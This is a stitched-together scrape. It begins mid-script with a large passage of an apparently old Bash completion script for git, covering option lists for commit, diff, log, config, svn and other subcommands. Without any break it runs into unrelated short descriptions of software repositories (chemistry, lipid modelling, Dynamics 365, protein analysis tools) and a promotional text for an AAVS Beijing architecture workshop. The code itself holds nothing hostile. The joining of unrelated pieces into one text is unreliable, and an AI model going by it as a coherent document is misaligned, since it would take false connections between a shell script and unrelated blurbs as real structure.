__git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --cleanup=*) __gitcomp "default strip verbatim whitespace " "" "${cur##--cleanup=}" return ;; --reuse-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reuse-message=}" return ;; --reedit-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reedit-message=}" return ;; --untracked-files=*) __gitcomp "all no normal" "" "${cur##--untracked-files=}" return ;; --*) __gitcomp " --all --author= --signoff --verify --no-verify --edit --amend --include --only --interactive --dry-run --reuse-message= --reedit-message= --reset-author --file= --message= --template= --cleanup= --untracked-files --untracked-files= --verbose --quiet " return esac COMPREPLY=() } _git_describe () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --tags --contains --abbrev= --candidates= --exact-match --debug --long --match --always " return esac __gitcomp "$(__git_refs)" } __git_diff_common_options="--stat --numstat --shortstat --summary --patch-with-stat --name-only --name-status --color --no-color --color-words --no-renames --check --full-index --binary --abbrev --diff-filter= --find-copies-harder --text --ignore-space-at-eol --ignore-space-change --ignore-all-space --exit-code --quiet --ext-diff --no-ext-diff --no-prefix --src-prefix= --dst-prefix= --inter-hunk-context= --patience --raw --dirstat --dirstat= --dirstat-by-file --dirstat-by-file= --cumulative " _git_diff () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs $__git_diff_common_options " return ;; esac __git_complete_file } __git_mergetools_common="diffuse ecmerge emerge kdiff3 meld opendiff tkdiff vimdiff gvimdiff xxdiff araxis p4merge " _git_difftool () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common kompare" "" "${cur##--tool=}" return ;; --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs --no-renames --diff-filter= --find-copies-harder --relative --ignore-submodules --tool=" return ;; esac __git_complete_file } __git_fetch_options=" --quiet --verbose --append --upload-pack --force --keep --depth= --tags --no-tags --all --prune --dry-run " _git_fetch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_fetch_options" return ;; esac __git_complete_remote_or_refspec } _git_format_patch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --thread=*) __gitcomp " deep shallow " "" "${cur##--thread=}" return ;; --*) __gitcomp " --stdout --attach --no-attach --thread --thread= --output-directory --numbered --start-number --numbered-files --keep-subject --signoff --signature --no-signature --in-reply-to= --cc= --full-index --binary --not --all --cover-letter --no-prefix --src-prefix= --dst-prefix= --inline --suffix= --ignore-if-in-upstream --subject-prefix= " return ;; esac __git_complete_revlist } _git_fsck () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --tags --root --unreachable --cache --no-reflogs --full --strict --verbose --lost-found " return ;; esac COMPREPLY=() } _git_gc () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--prune --aggressive" return ;; esac COMPREPLY=() } _git_gitk () { _gitk } _git_grep () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --cached --text --ignore-case --word-regexp --invert-match --full-name --extended-regexp --basic-regexp --fixed-strings --files-with-matches --name-only --files-without-match --max-depth --count --and --or --not --all-match " return ;; esac __gitcomp "$(__git_refs)" } _git_help () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--all --info --man --web" return ;; esac __git_compute_all_commands __gitcomp "$__git_all_commands attributes cli core-tutorial cvs-migration diffcore gitk glossary hooks ignore modules repository-layout tutorial tutorial-2 workflows " } _git_init () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --shared=*) __gitcomp " false true umask group all world everybody " "" "${cur##--shared=}" return ;; --*) __gitcomp "--quiet --bare --template= --shared --shared=" return ;; esac COMPREPLY=() } _git_ls_files () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --deleted --modified --others --ignored --stage --directory --no-empty-directory --unmerged --killed --exclude= --exclude-from= --exclude-per-directory= --exclude-standard --error-unmatch --with-tree= --full-name --abbrev --ignored --exclude-per-directory " return ;; esac COMPREPLY=() } _git_ls_remote () { __gitcomp "$(__git_remotes)" } _git_ls_tree () { __git_complete_file } # Options that go well for log, shortlog and gitk __git_log_common_options=" --not --all --branches --tags --remotes --first-parent --merges --no-merges --max-count= --max-age= --since= --after= --min-age= --until= --before= " # Options that go well for log and gitk (not shortlog) __git_log_gitk_options=" --dense --sparse --full-history --simplify-merges --simplify-by-decoration --left-right " # Options that go well for log and shortlog (not gitk) __git_log_shortlog_options=" --author= --committer= --grep= --all-match " __git_log_pretty_formats="oneline short medium full fuller email raw format:" __git_log_date_formats="relative iso8601 rfc2822 short local default raw" _git_log () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(git rev-parse --git-dir 2>/dev/null)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --date=*) __gitcomp "$__git_log_date_formats" "" "${cur##--date=}" return ;; --decorate=*) __gitcomp "long short" "" "${cur##--decorate=}" return ;; --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options $__git_log_gitk_options --root --topo-order --date-order --reverse --follow --full-diff --abbrev-commit --abbrev= --relative-date --date= --pretty= --format= --oneline --cherry-pick --graph --decorate --decorate= --walk-reflogs --parents --children $merge $__git_diff_common_options --pickaxe-all --pickaxe-regex " return ;; esac __git_complete_revlist } __git_merge_options=" --no-commit --no-stat --log --no-log --squash --strategy --commit --stat --no-squash --ff --no-ff --ff-only " _git_merge () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_merge_options" return esac __gitcomp "$(__git_refs)" } _git_mergetool () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common tortoisemerge" "" "${cur##--tool=}" return ;; --*) __gitcomp "--tool=" return ;; esac COMPREPLY=() } _git_merge_base () { __gitcomp "$(__git_refs)" } _git_mv () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run" return ;; esac COMPREPLY=() } _git_name_rev () { __gitcomp "--tags --all --stdin" } _git_notes () { local subcommands="edit show" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then __gitcomp "$subcommands" return fi case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_pull () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --rebase --no-rebase $__git_merge_options $__git_fetch_options " return ;; esac __git_complete_remote_or_refspec } _git_push () { local cur="${COMP_WORDS[COMP_CWORD]}" case "${COMP_WORDS[COMP_CWORD-1]}" in --repo) __gitcomp "$(__git_remotes)" return esac case "$cur" in --repo=*) __gitcomp "$(__git_remotes)" "" "${cur##--repo=}" return ;; --*) __gitcomp " --all --mirror --tags --dry-run --force --verbose --receive-pack= --repo= " return ;; esac __git_complete_remote_or_refspec } _git_rebase () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ] || [ -d "$dir"/rebase-merge ]; then __gitcomp "--continue --skip --abort" return fi __git_complete_strategy && return case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --onto --merge --strategy --interactive --preserve-merges --stat --no-stat --committer-date-is-author-date --ignore-date --ignore-whitespace --whitespace= --autosquash " return esac __gitcomp "$(__git_refs)" } __git_send_email_confirm_options="always never auto cc compose" __git_send_email_suppresscc_options="author self cc bodycc sob cccmd body all" _git_send_email () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --confirm=*) __gitcomp " $__git_send_email_confirm_options " "" "${cur##--confirm=}" return ;; --suppress-cc=*) __gitcomp " $__git_send_email_suppresscc_options " "" "${cur##--suppress-cc=}" return ;; --smtp-encryption=*) __gitcomp "ssl tls" "" "${cur##--smtp-encryption=}" return ;; --*) __gitcomp "--annotate --bcc --cc --cc-cmd --chain-reply-to --compose --confirm= --dry-run --envelope-sender --from --identity --in-reply-to --no-chain-reply-to --no-signed-off-by-cc --no-suppress-from --no-thread --quiet --signed-off-by-cc --smtp-pass --smtp-server --smtp-server-port --smtp-encryption= --smtp-user --subject --suppress-cc= --suppress-from --thread --to --validate --no-validate" return ;; esac COMPREPLY=() } _git_stage () { _git_add } __git_config_get_set_variables () { local prevword word config_file= c=$COMP_CWORD while [ $c -gt 1 ]; do word="${COMP_WORDS[c]}" case "$word" in --global|--system|--file=*) config_file="$word" break ;; -f|--file) config_file="$word $prevword" break ;; esac prevword=$word c=$((--c)) done git --git-dir="$(__gitdir)" config $config_file --list 2>/dev/null | while read line do case "$line" in *.*=*) echo "${line/=*/}" ;; esac done } _git_config () { local cur="${COMP_WORDS[COMP_CWORD]}" local prv="${COMP_WORDS[COMP_CWORD-1]}" case "$prv" in branch.*.remote) __gitcomp "$(__git_remotes)" return ;; branch.*.merge) __gitcomp "$(__git_refs)" return ;; remote.*.fetch) local remote="${prv#remote.}" remote="${remote%.fetch}" __gitcomp "$(__git_refs_remotes "$remote")" return ;; remote.*.push) local remote="${prv#remote.}" remote="${remote%.push}" __gitcomp "$(git --git-dir="$(__gitdir)" \ for-each-ref --format='%(refname):%(refname)' \ refs/heads)" return ;; pull.twohead|pull.octopus) __git_compute_merge_strategies __gitcomp "$__git_merge_strategies" return ;; color.branch|color.diff|color.interactive|\ color.showbranch|color.status|color.ui) __gitcomp "always never auto" return ;; color.pager) __gitcomp "false true" return ;; color.*.*) __gitcomp " normal black red green yellow blue magenta cyan white bold dim ul blink reverse " return ;; help.format) __gitcomp "man info web html" return ;; log.date) __gitcomp "$__git_log_date_formats" return ;; sendemail.aliasesfiletype) __gitcomp "mutt mailrc pine elm gnus" return ;; sendemail.confirm) __gitcomp "$__git_send_email_confirm_options" return ;; sendemail.suppresscc) __gitcomp "$__git_send_email_suppresscc_options" return ;; --get|--get-all|--unset|--unset-all) __gitcomp "$(__git_config_get_set_variables)" return ;; *.*) COMPREPLY=() return ;; esac case "$cur" in --*) __gitcomp " --global --system --file= --list --replace-all --get --get-all --get-regexp --add --unset --unset-all --remove-section --rename-section " return ;; branch.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "remote merge mergeoptions rebase" "$pfx" "$cur" return ;; branch.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_heads)" "$pfx" "$cur" "." return ;; guitool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " argprompt cmd confirm needsfile noconsole norescan prompt revprompt revunmerged title " "$pfx" "$cur" return ;; difftool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; man.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; mergetool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path trustExitCode" "$pfx" "$cur" return ;; pager.*) local pfx="${cur%.*}." cur="${cur#*.}" __git_compute_all_commands __gitcomp "$__git_all_commands" "$pfx" "$cur" return ;; remote.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " url proxy fetch push mirror skipDefaultUpdate receivepack uploadpack tagopt pushurl " "$pfx" "$cur" return ;; remote.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_remotes)" "$pfx" "$cur" "." return ;; url.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "insteadOf pushInsteadOf" "$pfx" "$cur" return ;; esac __gitcomp " add.ignore-errors alias. apply.ignorewhitespace apply.whitespace branch.autosetupmerge branch.autosetuprebase clean.requireForce color.branch color.branch.current color.branch.local color.branch.plain color.branch.remote color.diff color.diff.commit color.diff.frag color.diff.meta color.diff.new color.diff.old color.diff.plain color.diff.whitespace color.grep color.grep.external color.grep.match color.interactive color.interactive.header color.interactive.help color.interactive.prompt color.pager color.showbranch color.status color.status.added color.status.changed color.status.header color.status.nobranch color.status.untracked color.status.updated color.ui commit.template core.autocrlf core.bare core.compression core.createObject core.deltaBaseCacheLimit core.editor core.excludesfile core.fileMode core.fsyncobjectfiles core.gitProxy core.ignoreCygwinFSTricks core.ignoreStat core.logAllRefUpdates core.loosecompression core.packedGitLimit core.packedGitWindowSize core.pager core.preferSymlinkRefs core.preloadindex core.quotepath core.repositoryFormatVersion core.safecrlf core.sharedRepository core.symlinks core.trustctime core.warnAmbiguousRefs core.whitespace core.worktree diff.autorefreshindex diff.external diff.mnemonicprefix diff.renameLimit diff.renameLimit. diff.renames diff.suppressBlankEmpty diff.tool diff.wordRegex difftool. difftool.prompt fetch.unpackLimit format.attach format.cc format.headers format.numbered format.pretty format.signature format.signoff format.subjectprefix format.suffix format.thread gc.aggressiveWindow gc.auto gc.autopacklimit gc.packrefs gc.pruneexpire gc.reflogexpire gc.reflogexpireunreachable gc.rerereresolved gc.rerereunresolved gitcvs.allbinary gitcvs.commitmsgannotation gitcvs.dbTableNamePrefix gitcvs.dbdriver gitcvs.dbname gitcvs.dbpass gitcvs.dbuser gitcvs.enabled gitcvs.logfile gitcvs.usecrlfattr guitool. gui.blamehistoryctx gui.commitmsgwidth gui.copyblamethreshold gui.diffcontext gui.encoding gui.fastcopyblame gui.matchtrackingbranch gui.newbranchtemplate gui.pruneduringfetch gui.spellingdictionary gui.trustmtime help.autocorrect help.browser help.format http.lowSpeedLimit http.lowSpeedTime http.maxRequests http.noEPSV http.proxy http.sslCAInfo http.sslCAPath http.sslCert http.sslKey http.sslVerify i18n.commitEncoding i18n.logOutputEncoding imap.folder imap.host imap.pass imap.port imap.preformattedHTML imap.sslverify imap.tunnel imap.user instaweb.browser instaweb.httpd instaweb.local instaweb.modulepath instaweb.port interactive.singlekey log.date log.showroot mailmap.file man. man.viewer merge.conflictstyle merge.log merge.renameLimit merge.stat merge.tool merge.verbosity mergetool. mergetool.keepBackup mergetool.prompt pack.compression pack.deltaCacheLimit pack.deltaCacheSize pack.depth pack.indexVersion pack.packSizeLimit pack.threads pack.window pack.windowMemory pager. pull.octopus pull.twohead push.default rebase.stat receive.denyCurrentBranch receive.denyDeletes receive.denyNonFastForwards receive.fsckObjects receive.unpackLimit repack.usedeltabaseoffset rerere.autoupdate rerere.enabled sendemail.aliasesfile sendemail.aliasesfiletype sendemail.bcc sendemail.cc sendemail.cccmd sendemail.chainreplyto sendemail.confirm sendemail.envelopesender sendemail.multiedit sendemail.signedoffbycc sendemail.smtpencryption sendemail.smtppass sendemail.smtpserver sendemail.smtpserverport sendemail.smtpuser sendemail.suppresscc sendemail.suppressfrom sendemail.thread sendemail.to sendemail.validate showbranch.default status.relativePaths status.showUntrackedFiles tar.umask transfer.unpackLimit url. user.email user.name user.signingkey web.browser branch. remote. " } _git_remote () { local subcommands="add rename rm show prune update set-head" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in rename|rm|show|prune) __gitcomp "$(__git_remotes)" ;; update) local i c='' IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "remotes\..*" 2>/dev/null); do i="${i#remotes.}" c="$c ${i/ */}" done __gitcomp "$c" ;; *) COMPREPLY=() ;; esac } _git_replace () { __gitcomp "$(__git_refs)" } _git_reset () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--merge --mixed --hard --soft --patch" return ;; esac __gitcomp "$(__git_refs)" } _git_revert () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --mainline --no-edit --no-commit --signoff" return ;; esac __gitcomp "$(__git_refs)" } _git_rm () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --dry-run --ignore-unmatch --quiet" return ;; esac COMPREPLY=() } _git_shortlog () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options --numbered --summary " return ;; esac __git_complete_revlist } _git_show () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --*) __gitcomp "--pretty= --format= --abbrev-commit --oneline $__git_diff_common_options " return ;; esac __git_complete_file } _git_show_branch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --remotes --topo-order --current --more= --list --independent --merge-base --no-name --color --no-color --sha1-name --sparse --topics --reflog " return ;; esac __git_complete_revlist } _git_stash () { local cur="${COMP_WORDS[COMP_CWORD]}" local save_opts='--keep-index --no-keep-index --quiet --patch' local subcommands='save list show apply clear drop pop create branch' local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then case "$cur" in --*) __gitcomp "$save_opts" ;; *) if [ -z "$(__git_find_on_cmdline "$save_opts")" ]; then __gitcomp "$subcommands" else COMPREPLY=() fi ;; esac else case "$subcommand,$cur" in save,--*) __gitcomp "$save_opts" ;; apply,--*|pop,--*) __gitcomp "--index --quiet" ;; show,--*|drop,--*|branch,--*) COMPREPLY=() ;; show,*|apply,*|drop,*|pop,*|branch,*) __gitcomp "$(git --git-dir="$(__gitdir)" stash list \ | sed -n -e 's/:.*//p')" ;; *) COMPREPLY=() ;; esac fi } _git_submodule () { __git_has_doubledash && return local subcommands="add status init update summary foreach sync" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--quiet --cached" ;; *) __gitcomp "$subcommands" ;; esac return fi } _git_svn () { local subcommands=" init fetch clone rebase dcommit log find-rev set-tree commit-diff info create-ignore propget proplist show-ignore show-externals branch tag blame migrate mkdirs reset gc " local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" else local remote_opts="--username= --config-dir= --no-auth-cache" local fc_opts=" --follow-parent --authors-file= --repack= --no-metadata --use-svm-props --use-svnsync-props --log-window-size= --no-checkout --quiet --repack-flags --use-log-author --localtime --ignore-paths= $remote_opts " local init_opts=" --template= --shared= --trunk= --tags= --branches= --stdlayout --minimize-url --no-metadata --use-svm-props --use-svnsync-props --rewrite-root= --prefix= --use-log-author --add-author-from $remote_opts " local cmt_opts=" --edit --rmdir --find-copies-harder --copy-similarity= " local cur="${COMP_WORDS[COMP_CWORD]}" case "$subcommand,$cur" in fetch,--*) __gitcomp "--revision= --fetch-all $fc_opts" ;; clone,--*) __gitcomp "--revision= $fc_opts $init_opts" ;; init,--*) __gitcomp "$init_opts" ;; dcommit,--*) __gitcomp " --merge --strategy= --verbose --dry-run --fetch-all --no-rebase --commit-url --revision $cmt_opts $fc_opts " ;; set-tree,--*) __gitcomp "--stdin $cmt_opts $fc_opts" ;; create-ignore,--*|propget,--*|proplist,--*|show-ignore,--*|\ show-externals,--*|mkdirs,--*) __gitcomp "--revision=" ;; log,--*) __gitcomp " --limit= --revision= --verbose --incremental --oneline --show-commit --non-recursive --authors-file= --color " ;; rebase,--*) __gitcomp " --merge --verbose --strategy= --local --fetch-all --dry-run $fc_opts " ;; commit-diff,--*) __gitcomp "--message= --file= --revision= $cmt_opts" ;; info,--*) __gitcomp "--url" ;; branch,--*) __gitcomp "--dry-run --message --tag" ;; tag,--*) __gitcomp "--dry-run --message" ;; blame,--*) __gitcomp "--git-format" ;; migrate,--*) __gitcomp " --config-dir= --ignore-paths= --minimize --no-auth-cache --username= " ;; reset,--*) __gitcomp "--revision= --parent" ;; *) COMPREPLY=() ;; esac fi } _git_tag () { local i c=1 f=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-v) __gitcomp "$(__git_tags)" return ;; -f) f=1 ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; -*|tag) if [ $f = 1 ]; then __gitcomp "$(__git_tags)" else COMPREPLY=() fi ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_whatchanged () { _git_log } _git () { local i c=1 command __git_dir while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --git-dir=*) __git_dir="${i#--git-dir=}" ;; --bare) __git_dir="." ;; --version|-p|--paginate) ;; --help) command="help"; break ;; *) command="$i"; break ;; esac c=$((++c)) done if [ -z "$command" ]; then case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --paginate --no-pager --git-dir= --bare --version --exec-path --html-path --work-tree= --help " ;; *) __git_compute_porcelain_commands __gitcomp "$__git_porcelain_commands $(__git_aliases)" ;; esac return fi local completion_func="_git_${command//-/_}" declare -F $completion_func >/dev/null && $completion_func && return local expansion=$(__git_aliased_command "$command") if [ -n "$expansion" ]; then completion_func="_git_${expansion//-/_}" declare -F $completion_func >/dev/null && $completion_func fi } _gitk () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(__gitdir)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_gitk_options $merge " return ;; esac __git_complete_revlist } complete -o bashdefault -o default -o nospace -F _git git 2>/dev/null \ || complete -o default -o nospace -F _git git complete -o bashdefault -o default -o nospace -F _gitk gitk 2>/dev/null \ || complete -o default -o nospace -F _gitk gitk # The following are necessary only for Cygwin, and only are needed # when the user has tab-completed the executable name and consequently # included the '.exe' suffix. # if [ Cygwin = "$(uname -o 2>/dev/null)" ]; then complete -o bashdefault -o default -o nospace -F _git git.exe 2>/dev/null \ || complete -o default -o nospace -F _git git.exe fi
QChASM
Perl tools for automating routine tasks encountered when running quantum chemistry computations.
GMPavanLab
Optimization tool for calibrating coarse-grained force fields of lipids, relying on the simultaneous usage of reference AA trajectories (bottom-up) and experimental data (top-down)
NathanClouseAX
Tools, tweaks and improvements for Standard Security processes in Dynamics 365 for Finance and Operations
appcelerator-archive
NodeJS tools for working with Android Archive (.aar) files
LIUQINGHUA6666
No description available
RheoDesign
TITLE: SU(PE)RREAL Director: Li-Qun Zhao SuperReal is about the manipulation of the mass information in the Big Data Era. Due to the development of multi-media technologies, everyone has submerged in the data ocean. Data could be generated by anything surround us. Instead of generating forms and effects, the key of SuperReal is, how we can parameterize the information mapping, regardless visible or invisible, with visual communication. Various multi-media tools will be used in data collection, processing and presentation. The workshop will start with exercises of data mapping and visualization through parametric modelling tools. Surreal emerges when we represent and reproduce the SuperReal data with multi-media medium, which promotes more interactive response between clients and users. We understand the representation of SuperReal is the project itself, meaning iterative feedback from statistical database to inspirational presentations will generate the design concepts. In this workshop, we will borrow the techniques and knowledge for film, animation and game industries, to produce the super-real surreal architecture in-between the virtual and the real space. The context of our workshop will be based on the imagination of how people would use the Galaxy Soho in Beijing in 50 years from now on. As we know, the Galaxy Soho is a new icon among those most recognizable icons in the capital of China. All the icons are designed to play against the human scale as the way to respect humans. The application of the SuperReal & Surreal through multi-media tools is how to re-occupying the macro anti/pro-human iconic buildings with micro events in human scale inspired by the data mapping outputs that we produced in the early stage. Some of the most prominent features, which the participants will be exposed to during AAVS Beijinginclude: • Teaching team: AAVS Beijing tutors are selected from recent graduates / current tutors at the AA. Participants engage in an active learning environment where the large tutor to student ratio (5:1) allows for personalized tutorials and debates. • Facilities: AAVS Beijing is based on Tsinghua University, which offers laser cutting, CNC milling, and 3d printing facilities. • Computational skills: The toolset of AAVS Beijing includes the most advanced computational design tools, such as Rhinoceros, Maya, Digital Project, Processing, Arduino, and Grasshopper. According to the agenda of this year, it is also include InformationMapping and Multi-Media representation tools. • Theoretical understanding: The dissemination of fundamental design techniques and relevant critical thinking methodologies to the participants through theoretical sessions and seminars forms one of the major goals of AAVS Beijing. • Professional awareness: AAVS Beijing performs as a simulation of the professional environment due the priority given to team-based design approach. Participants ranging from 2nd year students to PhD candidates and full-time professionals experience a highly focused collaborative educational model, which promotes research-based design and making. • Fabrication: According to the specific agenda of each year, form node model to a one-to-one scale prototype could be fabricated and assembled by design teams. • Lecture series: Based on its unique location, Beijing, AAVS Beijing creates a vibrant atmosphere with its intense lecture programme conveying the diverse expertise of professionals from some of the world’s exciting practices in the areas of urbanization,regional and computational architecture design.
jocelynnpearl
AA reverse translation and DNA optimization tool
SimpleNumber
AA_stat tool is for searching uncovering the unexpected modifications of amino acid residues in the protein sequences, as well as possible artifacts of data acquisition or processing, in the results of proteome analyses.